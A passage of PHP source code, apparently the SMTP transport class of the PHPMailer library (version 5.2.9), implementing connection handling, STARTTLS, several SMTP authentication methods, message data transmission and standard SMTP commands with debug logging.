6823 * Debug level to show client -> server and server -> client messages
6824 */
6825 const DEBUG_SERVER = 2;
6826
6827 /**
6828 * Debug level to show connection status, client -> server and server -> client messages
6829 */
6830 const DEBUG_CONNECTION = 3;
6831
6832 /**
6833 * Debug level to show all messages
6834 */
6835 const DEBUG_LOWLEVEL = 4;
6836
6837 /**
6838 * The PHPMailer SMTP Version number.
6839 * @type string
6840 * @deprecated Use the `VERSION` constant instead
6841 * @see SMTP::VERSION
6842 */
6843 public $Version = '5.2.9';
6844
6845 /**
6846 * SMTP server port number.
6847 * @type integer
6848 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6849 * @see SMTP::DEFAULT_SMTP_PORT
6850 */
6851 public $SMTP_PORT = 25;
6852
6853 /**
6854 * SMTP reply line ending.
6855 * @type string
6856 * @deprecated Use the `CRLF` constant instead
6857 * @see SMTP::CRLF
6858 */
6859 public $CRLF = "\r\n";
6860
6861 /**
6862 * Debug output level.
6863 * Options:
6864 * * self::DEBUG_OFF (`0`) No debug output, default
6865 * * self::DEBUG_CLIENT (`1`) Client commands
6866 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6867 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6868 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6869 * @type integer
6870 */
6871 public $do_debug = self::DEBUG_OFF;
6872
6873 /**
6874 * How to handle debug output.
6875 * Options:
6876 * * `echo` Output plain-text as-is, appropriate for CLI
6877 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6878 * * `error_log` Output to error log as configured in php.ini
6879 *
6880 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
6881 * <code>
6882 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6883 * </code>
6884 * @type string|callable
6885 */
6886 public $Debugoutput = 'echo';
6887
6888 /**
6889 * Whether to use VERP.
6890 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6891 * @link http://www.postfix.org/VERP_README.html Info on VERP
6892 * @type boolean
6893 */
6894 public $do_verp = false;
6895
6896 /**
6897 * The timeout value for connection, in seconds.
6898 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6899 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6900 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6901 * @type integer
6902 */
6903 public $Timeout = 300;
6904
6905 /**
6906 * How long to wait for commands to complete, in seconds.
6907 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6908 * @type integer
6909 */
6910 public $Timelimit = 300;
6911
6912 /**
6913 * The socket for the server connection.
6914 * @type resource
6915 */
6916 protected $smtp_conn;
6917
6918 /**
6919 * Error message, if any, for the last call.
6920 * @type array
6921 */
6922 protected $error = array();
6923
6924 /**
6925 * The reply the server sent to us for HELO.
6926 * If null, no HELO string has yet been received.
6927 * @type string|null
6928 */
6929 protected $helo_rply = null;
6930
6931 /**
6932 * The set of SMTP extensions sent in reply to EHLO command.
6933 * Indexes of the array are extension names.
6934 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
6935 * represents the server name. In case of HELO it is the only element of the array.
6936 * Other values can be boolean TRUE or an array containing extension options.
6937 * If null, no HELO/EHLO string has yet been received.
6938 * @type array|null
6939 */
6940 protected $server_caps = null;
6941
6942 /**
6943 * The most recent reply received from the server.
6944 * @type string
6945 */
6946 protected $last_reply = '';
6947
6948 /**
6949 * Output debugging info via a user-selected method.
6950 * @see SMTP::$Debugoutput
6951 * @see SMTP::$do_debug
6952 * @param string $str Debug string to output
6953 * @param integer $level The debug level of this message; see DEBUG_* constants
6954 * @return void
6955 */
6956 protected function edebug($str, $level = 0)
6957 {
6958 if ($level > $this->do_debug) {
6959 return;
6960 }
6961 //Avoid clash with built-in function names
6962 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
6963 call_user_func($this->Debugoutput, $str, $this->do_debug);
6964 return;
6965 }
6966 switch ($this->Debugoutput) {
6967 case 'error_log':
6968 //Don't output, just log
6969 error_log($str);
6970 break;
6971 case 'html':
6972 //Cleans up output a bit for a better looking, HTML-safe output
6973 echo htmlentities(
6974 preg_replace('/[\r\n]+/', '', $str),
6975 ENT_QUOTES,
6976 'UTF-8'
6977 )
6978 . "<br>\n";
6979 break;
6980 case 'echo':
6981 default:
6982 //Normalize line breaks
6983 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
6984 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
6985 "\n",
6986 "\n \t ",
6987 trim($str)
6988 )."\n";
6989 }
6990 }
6991
6992 /**
6993 * Connect to an SMTP server.
6994 * @param string $host SMTP server IP or host name
6995 * @param integer $port The port number to connect to
6996 * @param integer $timeout How long to wait for the connection to open
6997 * @param array $options An array of options for stream_context_create()
6998 * @access public
6999 * @return boolean
7000 */
7001 public function connect($host, $port = null, $timeout = 30, $options = array())
7002 {
7003 static $streamok;
7004 //This is enabled by default since 5.0.0 but some providers disable it
7005 //Check this once and cache the result
7006 if (is_null($streamok)) {
7007 $streamok = function_exists('stream_socket_client');
7008 }
7009 // Clear errors to avoid confusion
7010 $this->error = array();
7011 // Make sure we are __not__ connected
7012 if ($this->connected()) {
7013 // Already connected, generate error
7014 $this->error = array('error' => 'Already connected to a server');
7015 return false;
7016 }
7017 if (empty($port)) {
7018 $port = self::DEFAULT_SMTP_PORT;
7019 }
7020 // Connect to the SMTP server
7021 $this->edebug(
7022 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
7023 self::DEBUG_CONNECTION
7024 );
7025 $errno = 0;
7026 $errstr = '';
7027 if ($streamok) {
7028 $socket_context = stream_context_create($options);
7029 //Suppress errors; connection failures are handled at a higher level
7030 $this->smtp_conn = @stream_socket_client(
7031 $host . ":" . $port,
7032 $errno,
7033 $errstr,
7034 $timeout,
7035 STREAM_CLIENT_CONNECT,
7036 $socket_context
7037 );
7038 } else {
7039 //Fall back to fsockopen which should work in more places, but is missing some features
7040 $this->edebug(
7041 "Connection: stream_socket_client not available, falling back to fsockopen",
7042 self::DEBUG_CONNECTION
7043 );
7044 $this->smtp_conn = fsockopen(
7045 $host,
7046 $port,
7047 $errno,
7048 $errstr,
7049 $timeout
7050 );
7051 }
7052 // Verify we connected properly
7053 if (!is_resource($this->smtp_conn)) {
7054 $this->error = array(
7055 'error' => 'Failed to connect to server',
7056 'errno' => $errno,
7057 'errstr' => $errstr
7058 );
7059 $this->edebug(
7060 'SMTP ERROR: ' . $this->error['error']
7061 . ": $errstr ($errno)",
7062 self::DEBUG_CLIENT
7063 );
7064 return false;
7065 }
7066 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
7067 // SMTP server can take longer to respond, give longer timeout for first read
7068 // Windows does not have support for this timeout function
7069 if (substr(PHP_OS, 0, 3) != 'WIN') {
7070 $max = ini_get('max_execution_time');
7071 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7072 @set_time_limit($timeout);
7073 }
7074 stream_set_timeout($this->smtp_conn, $timeout, 0);
7075 }
7076 // Get any announcement
7077 $announce = $this->get_lines();
7078 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7079 return true;
7080 }
7081
7082 /**
7083 * Initiate a TLS (encrypted) session.
7084 * @access public
7085 * @return boolean
7086 */
7087 public function startTLS()
7088 {
7089 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7090 return false;
7091 }
7092 // Begin encrypted connection
7093 if (!stream_socket_enable_crypto(
7094 $this->smtp_conn,
7095 true,
7096 STREAM_CRYPTO_METHOD_TLS_CLIENT
7097 )) {
7098 return false;
7099 }
7100 return true;
7101 }
7102
7103 /**
7104 * Perform SMTP authentication.
7105 * Must be run after hello().
7106 * @see hello()
7107 * @param string $username The user name
7108 * @param string $password The password
7109 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7110 * @param string $realm The auth realm for NTLM
7111 * @param string $workstation The auth workstation for NTLM
7112 * @access public
7113 * @return boolean True if successfully authenticated.
7114 */
7115 public function authenticate(
7116 $username,
7117 $password,
7118 $authtype = null,
7119 $realm = '',
7120 $workstation = ''
7121 ) {
7122 if (!$this->server_caps) {
7123 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7124 return false;
7125 }
7126
7127 if (array_key_exists('EHLO', $this->server_caps)) {
7128 // SMTP extensions are available. Let's try to find a proper authentication method
7129
7130 if (!array_key_exists('AUTH', $this->server_caps)) {
7131 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7132 // 'at this stage' means that auth may be allowed after the stage changes
7133 // e.g. after STARTTLS
7134 return false;
7135 }
7136
7137 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7138 self::edebug(
7139 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7140 self::DEBUG_LOWLEVEL
7141 );
7142
7143 if (empty($authtype)) {
7144 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7145 if (in_array($method, $this->server_caps['AUTH'])) {
7146 $authtype = $method;
7147 break;
7148 }
7149 }
7150 if (empty($authtype)) {
7151 $this->error = array( 'error' => 'No supported authentication methods found' );
7152 return false;
7153 }
7154 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7155 }
7156
7157 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7158 $this->error = array( 'error' => 'The requested authentication method "'
7159 . $authtype . '" is not supported by the server' );
7160 return false;
7161 }
7162 } elseif (empty($authtype)) {
7163 $authtype = 'LOGIN';
7164 }
7165 switch ($authtype) {
7166 case 'PLAIN':
7167 // Start authentication
7168 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7169 return false;
7170 }
7171 // Send encoded username and password
7172 if (!$this->sendCommand(
7173 'User & Password',
7174 base64_encode("\0" . $username . "\0" . $password),
7175 235
7176 )
7177 ) {
7178 return false;
7179 }
7180 break;
7181 case 'LOGIN':
7182 // Start authentication
7183 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7184 return false;
7185 }
7186 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7187 return false;
7188 }
7189 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7190 return false;
7191 }
7192 break;
7193 case 'NTLM':
7194 /*
7195 * ntlm_sasl_client.php
7196 * Bundled with Permission
7197 *
7198 * How to telnet in windows:
7199 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7200 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7201 */
7202 require_once 'extras/ntlm_sasl_client.php';
7203 $temp = new stdClass();
7204 $ntlm_client = new ntlm_sasl_client_class;
7205 //Check that functions are available
7206 if (!$ntlm_client->Initialize($temp)) {
7207 $this->error = array('error' => $temp->error);
7208 $this->edebug(
7209 'You need to enable some modules in your php.ini file: '
7210 . $this->error['error'],
7211 self::DEBUG_CLIENT
7212 );
7213 return false;
7214 }
7215 //msg1
7216 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7217
7218 if (!$this->sendCommand(
7219 'AUTH NTLM',
7220 'AUTH NTLM ' . base64_encode($msg1),
7221 334
7222 )
7223 ) {
7224 return false;
7225 }
7226 //Though 0 based, there is a white space after the 3 digit number
7227 //msg2
7228 $challenge = substr($this->last_reply, 3);
7229 $challenge = base64_decode($challenge);
7230 $ntlm_res = $ntlm_client->NTLMResponse(
7231 substr($challenge, 24, 8),
7232 $password
7233 );
7234 //msg3
7235 $msg3 = $ntlm_client->TypeMsg3(
7236 $ntlm_res,
7237 $username,
7238 $realm,
7239 $workstation
7240 );
7241 // send encoded username
7242 return $this->sendCommand('Username', base64_encode($msg3), 235);
7243 case 'CRAM-MD5':
7244 // Start authentication
7245 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7246 return false;
7247 }
7248 // Get the challenge
7249 $challenge = base64_decode(substr($this->last_reply, 4));
7250
7251 // Build the response
7252 $response = $username . ' ' . $this->hmac($challenge, $password);
7253
7254 // send encoded credentials
7255 return $this->sendCommand('Username', base64_encode($response), 235);
7256 default:
7257 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7258 return false;
7259 }
7260 return true;
7261 }
7262
7263 /**
7264 * Calculate an MD5 HMAC hash.
7265 * Works like hash_hmac('md5', $data, $key)
7266 * in case that function is not available
7267 * @param string $data The data to hash
7268 * @param string $key The key to hash with
7269 * @access protected
7270 * @return string
7271 */
7272 protected function hmac($data, $key)
7273 {
7274 if (function_exists('hash_hmac')) {
7275 return hash_hmac('md5', $data, $key);
7276 }
7277
7278 // The following borrowed from
7279 // http://php.net/manual/en/function.mhash.php#27225
7280
7281 // RFC 2104 HMAC implementation for php.
7282 // Creates an md5 HMAC.
7283 // Eliminates the need to install mhash to compute a HMAC
7284 // by Lance Rushing
7285
7286 $bytelen = 64; // byte length for md5
7287 if (strlen($key) > $bytelen) {
7288 $key = pack('H*', md5($key));
7289 }
7290 $key = str_pad($key, $bytelen, chr(0x00));
7291 $ipad = str_pad('', $bytelen, chr(0x36));
7292 $opad = str_pad('', $bytelen, chr(0x5c));
7293 $k_ipad = $key ^ $ipad;
7294 $k_opad = $key ^ $opad;
7295
7296 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7297 }
7298
7299 /**
7300 * Check connection state.
7301 * @access public
7302 * @return boolean True if connected.
7303 */
7304 public function connected()
7305 {
7306 if (is_resource($this->smtp_conn)) {
7307 $sock_status = stream_get_meta_data($this->smtp_conn);
7308 if ($sock_status['eof']) {
7309 // The socket is valid but we are not connected
7310 $this->edebug(
7311 'SMTP NOTICE: EOF caught while checking if connected',
7312 self::DEBUG_CLIENT
7313 );
7314 $this->close();
7315 return false;
7316 }
7317 return true; // everything looks good
7318 }
7319 return false;
7320 }
7321
7322 /**
7323 * Close the socket and clean up the state of the class.
7324 * Don't use this function without first trying to use QUIT.
7325 * @see quit()
7326 * @access public
7327 * @return void
7328 */
7329 public function close()
7330 {
7331 $this->error = array();
7332 $this->server_caps = null;
7333 $this->helo_rply = null;
7334 if (is_resource($this->smtp_conn)) {
7335 // close the connection and cleanup
7336 fclose($this->smtp_conn);
7337 $this->smtp_conn = null; //Makes for cleaner serialization
7338 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7339 }
7340 }
7341
7342 /**
7343 * Send an SMTP DATA command.
7344 * Issues a data command and sends the msg_data to the server,
7345 * finializing the mail transaction. $msg_data is the message
7346 * that is to be send with the headers. Each header needs to be
7347 * on a single line followed by a <CRLF> with the message headers
7348 * and the message body being separated by and additional <CRLF>.
7349 * Implements rfc 821: DATA <CRLF>
7350 * @param string $msg_data Message data to send
7351 * @access public
7352 * @return boolean
7353 */
7354 public function data($msg_data)
7355 {
7356 //This will use the standard timelimit
7357 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7358 return false;
7359 }
7360
7361 /* The server is ready to accept data!
7362 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7363 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7364 * smaller lines to fit within the limit.
7365 * We will also look for lines that start with a '.' and prepend an additional '.'.
7366 * NOTE: this does not count towards line-length limit.
7367 */
7368
7369 // Normalize line breaks before exploding
7370 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7371
7372 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7373 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7374 * process all lines before a blank line as headers.
7375 */
7376
7377 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7378 $in_headers = false;
7379 if (!empty($field) && strpos($field, ' ') === false) {
7380 $in_headers = true;
7381 }
7382
7383 foreach ($lines as $line) {
7384 $lines_out = array();
7385 if ($in_headers and $line == '') {
7386 $in_headers = false;
7387 }
7388 //We need to break this line up into several smaller lines
7389 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7390 while (isset($line[self::MAX_LINE_LENGTH])) {
7391 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7392 //so as to avoid breaking in the middle of a word
7393 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7394 if (!$pos) { //Deliberately matches both false and 0
7395 //No nice break found, add a hard break
7396 $pos = self::MAX_LINE_LENGTH - 1;
7397 $lines_out[] = substr($line, 0, $pos);
7398 $line = substr($line, $pos);
7399 } else {
7400 //Break at the found point
7401 $lines_out[] = substr($line, 0, $pos);
7402 //Move along by the amount we dealt with
7403 $line = substr($line, $pos + 1);
7404 }
7405 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7406 if ($in_headers) {
7407 $line = "\t" . $line;
7408 }
7409 }
7410 $lines_out[] = $line;
7411
7412 //Send the lines to the server
7413 foreach ($lines_out as $line_out) {
7414 //RFC2821 section 4.5.2
7415 if (!empty($line_out) and $line_out[0] == '.') {
7416 $line_out = '.' . $line_out;
7417 }
7418 $this->client_send($line_out . self::CRLF);
7419 }
7420 }
7421
7422 //Message data has been sent, complete the command
7423 //Increase timelimit for end of DATA command
7424 $savetimelimit = $this->Timelimit;
7425 $this->Timelimit = $this->Timelimit * 2;
7426 $result = $this->sendCommand('DATA END', '.', 250);
7427 //Restore timelimit
7428 $this->Timelimit = $savetimelimit;
7429 return $result;
7430 }
7431
7432 /**
7433 * Send an SMTP HELO or EHLO command.
7434 * Used to identify the sending server to the receiving server.
7435 * This makes sure that client and server are in a known state.
7436 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7437 * and RFC 2821 EHLO.
7438 * @param string $host The host name or IP to connect to
7439 * @access public
7440 * @return boolean
7441 */
7442 public function hello($host = '')
7443 {
7444 //Try extended hello first (RFC 2821)
7445 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7446 }
7447
7448 /**
7449 * Send an SMTP HELO or EHLO command.
7450 * Low-level implementation used by hello()
7451 * @see hello()
7452 * @param string $hello The HELO string
7453 * @param string $host The hostname to say we are
7454 * @access protected
7455 * @return boolean
7456 */
7457 protected function sendHello($hello, $host)
7458 {
7459 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7460 $this->helo_rply = $this->last_reply;
7461 if ($noerror) {
7462 $this->parseHelloFields($hello);
7463 } else {
7464 $this->server_caps = null;
7465 }
7466 return $noerror;
7467 }
7468
7469 /**
7470 * Parse a reply to HELO/EHLO command to discover server extensions.
7471 * In case of HELO, the only parameter that can be discovered is a server name.
7472 * @access protected
7473 * @param string $type - 'HELO' or 'EHLO'
7474 */
7475 protected function parseHelloFields($type)
7476 {
7477 $this->server_caps = array();
7478 $lines = explode("\n", $this->last_reply);
7479 foreach ($lines as $n => $s) {
7480 $s = trim(substr($s, 4));
7481 if (!$s) {
7482 continue;
7483 }
7484 $fields = explode(' ', $s);
7485 if ($fields) {
7486 if (!$n) {
7487 $name = $type;
7488 $fields = $fields[0];
7489 } else {
7490 $name = array_shift($fields);
7491 if ($name == 'SIZE') {
7492 $fields = ($fields) ? $fields[0] : 0;
7493 }
7494 }
7495 $this->server_caps[$name] = ($fields ? $fields : true);
7496 }
7497 }
7498 }
7499
7500 /**
7501 * Send an SMTP MAIL command.
7502 * Starts a mail transaction from the email address specified in
7503 * $from. Returns true if successful or false otherwise. If True
7504 * the mail transaction is started and then one or more recipient
7505 * commands may be called followed by a data command.
7506 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7507 * @param string $from Source address of this message
7508 * @access public
7509 * @return boolean
7510 */
7511 public function mail($from)
7512 {
7513 $useVerp = ($this->do_verp ? ' XVERP' : '');
7514 return $this->sendCommand(
7515 'MAIL FROM',
7516 'MAIL FROM:<' . $from . '>' . $useVerp,
7517 250
7518 );
7519 }
7520
7521 /**
7522 * Send an SMTP QUIT command.
7523 * Closes the socket if there is no error or the $close_on_error argument is true.
7524 * Implements from rfc 821: QUIT <CRLF>
7525 * @param boolean $close_on_error Should the connection close if an error occurs?
7526 * @access public
7527 * @return boolean
7528 */
7529 public function quit($close_on_error = true)
7530 {
7531 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7532 $err = $this->error; //Save any error
7533 if ($noerror or $close_on_error) {
7534 $this->close();
7535 $this->error = $err; //Restore any error from the quit command
7536 }
7537 return $noerror;
7538 }
7539
7540 /**
7541 * Send an SMTP RCPT command.
7542 * Sets the TO argument to $toaddr.
7543 * Returns true if the recipient was accepted false if it was rejected.
7544 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7545 * @param string $toaddr The address the message is being sent to
7546 * @access public
7547 * @return boolean
7548 */
7549 public function recipient($toaddr)
7550 {
7551 return $this->sendCommand(
7552 'RCPT TO',
7553 'RCPT TO:<' . $toaddr . '>',
7554 array(250, 251)
7555 );
7556 }
7557
7558 /**
7559 * Send an SMTP RSET command.
7560 * Abort any transaction that is currently in progress.
7561 * Implements rfc 821: RSET <CRLF>
7562 * @access public
7563 * @return boolean True on success.
7564 */
7565 public function reset()
7566 {
7567 return $this->sendCommand('RSET', 'RSET', 250);
7568 }
7569
7570 /**
7571 * Send a command to an SMTP server and check its return code.
7572 * @param string $command The command name - not sent to the server
7573 * @param string $commandstring The actual command to send
7574 * @param integer|array $expect One or more expected integer success codes
7575 * @access protected
7576 * @return boolean True on success.
7577 */
7578 protected function sendCommand($command, $commandstring, $expect)
7579 {
7580 if (!$this->connected()) {
7581 $this->error = array(
7582 'error' => "Called $command without being connected"
7583 );
7584 return false;
7585 }
7586 $this->client_send($commandstring . self::CRLF);
7587
7588 $this->last_reply = $this->get_lines();
7589 // Fetch SMTP code and possible error code explanation
7590 $matches = array();
7591 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7592 $code = $matches[1];
7593 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7594 // Cut off error code from each response line
7595 $detail = preg_replace(
7596 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7597 '',
7598 $this->last_reply
7599 );
7600 } else { // Fall back to simple parsing if regex fails
7601 $code = substr($this->last_reply, 0, 3);
7602 $code_ex = null;
7603 $detail = substr($this->last_reply, 4);
7604 }
7605
7606 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7607
7608 if (!in_array($code, (array)$expect)) {
7609 $this->error = array(
7610 'error' => "$command command failed",
7611 'smtp_code' => $code,
7612 'smtp_code_ex' => $code_ex,
7613 'detail' => $detail
7614 );
7615 $this->edebug(
7616 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7617 self::DEBUG_CLIENT
7618 );
7619 return false;
7620 }
7621
7622 $this->error = array();
7623 return true;
7624 }
7625
7626 /**
7627 * Send an SMTP SAML command.
7628 * Starts a mail transaction from the email address specified in $from.
7629 * Returns true if successful or false otherwise. If True
7630 * the mail transaction is started and then one or more recipient
7631 * commands may be called followed by a data command. This command
7632 * will send the message to the users terminal if they are logged
7633 * in and send them an email.
7634 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7635 * @param string $from The address the message is from
7636 * @access public
7637 * @return boolean
7638 */
7639 public function sendAndMail($from)
7640 {
7641 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7642 }
7643
7644 /**
7645 * Send an SMTP VRFY command.
7646 * @param string $name The name to verify
7647 * @access public
7648 * @return boolean
7649 */
7650 public function verify($name)
7651 {
7652 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7653 }
7654
7655 /**
7656 * Send an SMTP NOOP command.
7657 * Used to keep keep-alives alive, doesn't actually do anything
7658 * @access public
7659 * @return boolean
7660 */
7661 public function noop()
7662 {
7663 return $this->sendCommand('NOOP', 'NOOP', 250);
7664 }
7665
7666 /**
7667 * Send an SMTP TURN command.
7668 * This is an optional command for SMTP that this class does not support.
7669 * This method is here to make the RFC821 Definition complete for this class
7670 * and _may_ be implemented in future
7671 * Implements from rfc 821: TURN <CRLF>
7672 * @access public
7673 * @return boolean
7674 */
7675 public function turn()
7676 {
7677 $this->error = array(
7678 'error' => 'The SMTP TURN command is not implemented'
7679 );
7680 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7681 return false;
7682 }
7683
7684 /**
7685 * Send raw data to the server.
7686 * @param string $data The data to send
7687 * @access public
7688 * @return integer|boolean The number of bytes sent to the server or false on error
7689 */
7690 public function client_send($data)
7691 {
7692 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7693 return fwrite($this->smtp_conn, $data);
7694 }
7695
7696 /**
7697 * Get the latest error.
7698 * @access public
7699 * @return array
7700 */
7701 public function getError()
7702 {
7703 return $this->error;
7704 }
7705
7706 /**
7707 * Get SMTP extensions available on the server
7708 * @access public
7709 * @return array|null
7710 */
7711 public function getServerExtList()
7712 {
7713 return $this->server_caps;
7714 }
7715
7716 /**
7717 * A multipurpose method
7718 * The method works in three ways, dependent on argument value and current state
7719 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7720 * 2. HELO was sent
7721 * $name = 'HELO': returns server name
7722 * $name = 'EHLO': returns boolean false
7723 * $name = any string: returns null and set up $this->error
7724 * 3. EHLO was sent
7725 * $name = 'HELO'|'EHLO': returns server name
7726 * $name = any string: if extension $name exists, returns boolean True
7727 * or its options. Otherwise returns boolean False
7728 * In other words, one can use this method to detect 3 conditions:
7729 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7730 * - false returned: the requested feature exactly not exists
7731 * - positive value returned: the requested feature exists
7732 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7733 * @return mixed
7734 */
7735 public function getServerExt($name)
7736 {
7737 if (!$this->server_caps) {
7738 $this->error = array('No HELO/EHLO was sent');
7739 return null;
7740 }
7741
7742 // the tight logic knot ;)
7743 if (!array_key_exists($name, $this->server_caps)) {
7744 if ($name == 'HELO') {
7745 return $this->server_caps['EHLO'];
7746 }
7747 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7748 return false;
7749 }
7750 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7751 return null;
7752 }
7753
7754 return $this->server_caps[$name];
7755 }
7756
7757 /**
7758 * Get the last reply from the server.
7759 * @access public
7760 * @return string
7761 */
7762 public function getLastReply()
7763 {
7764 return $this->last_reply;
7765 }
7766
7767 /**
7768 * Read the SMTP server's response.
7769 * Either before eof or socket timeout occurs on the operation.
7770 * With SMTP we can tell if we have more lines to read if the
7771 * 4th character is '-' symbol. If it is a space then we don't
7772 * need to read anything else.
7773 * @access protected
7774 * @return string
7775 */
7776 protected function get_lines()
7777 {
7778 // If the connection is bad, give up straight away
7779 if (!is_resource($this->smtp_conn)) {
7780 return '';
7781 }
7782 $data = '';
7783 $endtime = 0;
7784 stream_set_timeout($this->smtp_conn, $this->Timeout);
7785 if ($this->Timelimit > 0) {
7786 $endtime = time() + $this->Timelimit;
7787 }
7788 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7789 $str = @fgets($this->smtp_conn, 515);
7790 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7791 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7792 $data .= $str;
7793 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7794 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7795 if ((isset($str[3]) and $str[3] == ' ')) {
7796 break;
7797 }
7798 // Timed-out? Log and break
7799 $info = stream_get_meta_data($this->smtp_conn);
7800 if ($info['timed_out']) {
7801 $this->edebug(
7802 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7803 self::DEBUG_LOWLEVEL
7804 );
7805 break;
7806 }
7807 // Now check if reads took too long
7808 if ($endtime and time() > $endtime) {
7809 $this->edebug(
7810 'SMTP -> get_lines(): timelimit reached ('.
7811 $this->Timelimit . ' sec)',
7812 self::DEBUG_LOWLEVEL
7813 );
7814 break;
7815 }
7816 }
7817 return $data;
7818 }
7819
7820 /**
7821 * Enable or disable VERP address generation.
7822 * @param boolean $enabled
7823 */
7824 public function setVerp($enabled = false)
7825 {
7826 $this->do_verp = $enabled;
7827 }
7828
7829 /**
7830 * Get VERP address generation mode.
7831 * @return boolean
7832 */
7833 public function getVerp()
7834 {
7835 return $this->do_verp;
7836 }
7837
7838 /**
7839 * Set debug output method.
7840 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7841 */
7842 public function setDebugOutput($method = 'echo')
7843 {
7844 $this->Debugoutput = $method;
7845 }
7846
7847 /**
7848 * Get debug output method.
7849 * @return string
7850 */
7851 public function getDebugOutput()
7852 {
7853 return $this->Debugoutput;
7854 }
7855
7856 /**
7857 * Set debug output level.
7858 * @param integer $level
7859 */
7860 public function setDebugLevel($level = 0)
7861 {
7862 $this->do_debug = $level;
7863 }
7864
7865 /**
7866 * Get debug output level.
7867 * @return integer
7868 */
7869 public function getDebugLevel()
7870 {
7871 return $this->do_debug;
7872 }
7873
7874 /**
7875 * Set SMTP timeout.
7876 * @param integer $timeout
7877 */
7878 public function setTimeout($timeout = 0)
7879 {
7880 $this->Timeout = $timeout;
7881 }
7882
7883 /**
7884 * Get SMTP timeout.
7885 * @return integer
7886 */
7887 public function getTimeout()
7888 {
7889 return $this->Timeout;
7890 }
7891}
7892
7893?>
7894<?php
7895/**
